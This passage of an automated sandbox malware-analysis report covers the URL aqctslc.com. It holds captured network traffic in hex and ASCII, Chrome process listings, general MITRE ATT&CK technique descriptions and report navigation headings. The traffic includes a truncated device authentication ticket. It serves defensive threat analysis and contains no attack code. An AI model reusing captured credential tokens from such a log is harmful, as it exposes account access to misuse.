2025-01-09 23:51:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6b 4e 7a 54 67 73 36 66 42 6b 79 4d 58 6b 4e 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 30 31 65 32 33 37 36 30 36 35 34 65 39 38 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: kNzTgs6fBkyMXkNd.3Context: 801e23760654e984<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:51:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:51:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 76 58 73 6e 4f 6e 54 37 55 43 74 41 44 50 6c 73 30 6f 31 73 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: rvXsnOnT7UCtADPls0o1sA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	50106	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:52:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 55 75 4d 32 7a 56 48 32 2b 6b 65 63 64 32 6a 52 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 63 32 30 66 62 37 34 39 64 38 39 31 64 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: UuM2zVH2+kecd2jR.1Context: 35c20fb749d891db
2025-01-09 23:52:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:52:15 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 55 75 4d 32 7a 56 48 32 2b 6b 65 63 64 32 6a 52 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 63 32 30 66 62 37 34 39 64 38 39 31 64 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 4e 76 78 51 38 4f 2b 6b 35 4f 41 55 2f 74 76 6e 75 58 62 30 72 66 39 4a 4d 49 76 30 4b 69 67 39 32 6c 66 56 52 62 71 74 37 52 37 51 45 43 57 72 63 6b 47 54 67 42 53 36 58 2f 36 68 33 71 7a 58 70 39 6e 6f 46 51 64 68 38 54 61 38 31 38 78 70 64 65 35 58 51 30 7a 76 75 2b 4a 63 7a 73 49 72 59 6e 34 78 48 44 6b 42 4f 79 79 61 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: UuM2zVH2+kecd2jR.2Context: 35c20fb749d891db<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYNvxQ8O+k5OAU/tvnuXb0rf9JMIv0Kig92lfVRbqt7R7QECWrckGTgBS6X/6h3qzXp9noFQdh8Ta818xpde5XQ0zvu+JczsIrYn4xHDkBOyya
2025-01-09 23:52:15 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 55 75 4d 32 7a 56 48 32 2b 6b 65 63 64 32 6a 52 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 35 63 32 30 66 62 37 34 39 64 38 39 31 64 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: UuM2zVH2+kecd2jR.3Context: 35c20fb749d891db<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:52:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:52:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6c 64 65 39 42 31 75 59 62 45 65 76 72 66 6d 69 46 5a 38 37 6e 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: lde9B1uYbEevrfmiFZ87nQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	50111	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:52:44 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 72 4e 46 65 65 55 76 41 30 57 36 5a 45 76 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 32 33 63 37 61 34 39 39 39 63 62 36 63 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: rrNFeeUvA0W6ZEvS.1Context: e923c7a4999cb6c2
2025-01-09 23:52:44 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:52:44 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 72 72 4e 46 65 65 55 76 41 30 57 36 5a 45 76 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 32 33 63 37 61 34 39 39 39 63 62 36 63 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 4e 76 78 51 38 4f 2b 6b 35 4f 41 55 2f 74 76 6e 75 58 62 30 72 66 39 4a 4d 49 76 30 4b 69 67 39 32 6c 66 56 52 62 71 74 37 52 37 51 45 43 57 72 63 6b 47 54 67 42 53 36 58 2f 36 68 33 71 7a 58 70 39 6e 6f 46 51 64 68 38 54 61 38 31 38 78 70 64 65 35 58 51 30 7a 76 75 2b 4a 63 7a 73 49 72 59 6e 34 78 48 44 6b 42 4f 79 79 61 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: rrNFeeUvA0W6ZEvS.2Context: e923c7a4999cb6c2<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYNvxQ8O+k5OAU/tvnuXb0rf9JMIv0Kig92lfVRbqt7R7QECWrckGTgBS6X/6h3qzXp9noFQdh8Ta818xpde5XQ0zvu+JczsIrYn4xHDkBOyya
2025-01-09 23:52:44 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 72 4e 46 65 65 55 76 41 30 57 36 5a 45 76 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 39 32 33 63 37 61 34 39 39 39 63 62 36 63 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: rrNFeeUvA0W6ZEvS.3Context: e923c7a4999cb6c2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:52:44 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:52:44 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 34 35 2f 78 43 33 6e 79 45 69 35 6d 33 74 52 62 56 57 4b 30 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: A45/xC3nyEi5m3tRbVWK0A.0Payload parsing failed.

Target ID:	1
Start time:	18:51:19
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:51:24
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1964,i,745992911517592731,6057134099655123550,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	18:51:31
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://aqctslc.com/"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://aqctslc.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Windows Analysis Report
https://aqctslc.com/